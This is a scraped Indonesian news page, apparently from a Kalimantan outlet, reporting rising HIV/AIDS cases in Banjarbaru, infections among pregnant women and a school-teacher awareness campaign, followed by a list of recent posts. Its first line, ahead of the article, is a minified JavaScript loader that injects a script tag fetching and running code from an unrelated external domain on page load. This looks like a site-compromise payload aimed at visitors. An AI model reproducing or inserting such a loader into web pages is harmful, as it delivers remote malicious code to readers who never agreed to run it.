(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Penderita HIV/AIDS di Banjarbaru Terus Bertambah


BANJARBARU, Jumlah penderita HIV/AIDS di Kota Banjarbaru terus bertambah dari tahun ke tahun. Hingga tahun 2012 saja, Kementerian Kesehatan RI mengestimasi pengidap virus HIV di Kota Idaman mencapai 846 orang.

Dan berdasarkan data Dinas Kesehatan Provinsi Kalsel, kurun waktu 2005 – Maret 2017, terdeteksi sebanyak 223 orang di Banjarbaru mengidap virus mematikan ini.

Itu berarti, menurut Edy Sempana, Sekretaris Komisi Penanggulangan AIDS (KPA) Kota Banjarbaru, ada 600-an warga Banjarbaru tak sadar dirinya mengidap HIV dan sangat berpotensi menularkannya kepada orang lain.

Terbukti, ujar Edy, pada kurun 2015 sampai sekarang, ada 19 ibu hamil di Banjarbaru mengidap HIV. Dari jumlah itu, 4 orang terjangkit HIV sebelum menikah, 11 tertular dari suaminya, sisanya tidak diketahui karena suaminya tidak diperiksa.

Terus bertambah, karena di tahun 2016, Komisi Penaggulangan AIDS (KPA) Kota Banjarbaru mendeteksi sebanyak 44 orang mengidap HIV/AIDS. Dan di tahun 2017, hingga periode Maret, daftar ODHA Kota Banjarbaru bertambah sebanyak 16 orang. “14 orang terdeteksi mengidap HIV, 2 dinyatakan positif AIDS,” ujar Edy Sempana, Sekretaris KPA Kota Banjarbaru.

Jumlah penderita ODHA di Kota Banjarbaru yang terus bertambah, ujar Edy Sempana, memaksa semua kalangan harus bekerja keras membendungnya. Dalam upaya membendung itu, KPA Kota Banjarbaru pada Sabtu (23/9) mengumpulkan guru SMP dan SMA se-Kota Banjarbaru, di Ruang Teater Fakultas Kedokteran Unlam.

Sebanyak 80 guru SMP-SMA, kata Edy hadir dalam kegiatan kampanye ‘Aku Bangga Aku Tahu (ABAT)’ tentang HIV dan kampanye ‘Jauhi Seks Bebas’ yang digalakkan sejak 2013 ini. “Yang diundang hadir guru biologi, olahraga, dan bimbingan konseling,” ujarnya.

Dari kegiatan ini, lanjutnya, para guru termotivasi memotivasi mendukung penaggulangan HIV/AIDS dari lingkungan sekolah, yakni dengan memberikan penyuluhan kepada siswa. Dari mulut para tenaga pendidik ini pula, minimal 90 persen siswa nantinya memiliki pengetahuan komprehensif tentang HIV/AIDS.

“Jumlah penderita HIV/AIDS di Kota Banjarbaru terus bertambah. Tahun 2017 hingga bulan Maret saja sudah ada 14 orang terdeteksi menderita HIV/AIDS. Untuk April, Mei, Juni data penderita masih di Dinkes Provinsi,” kata Edy Sempana.


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

15 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

22 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.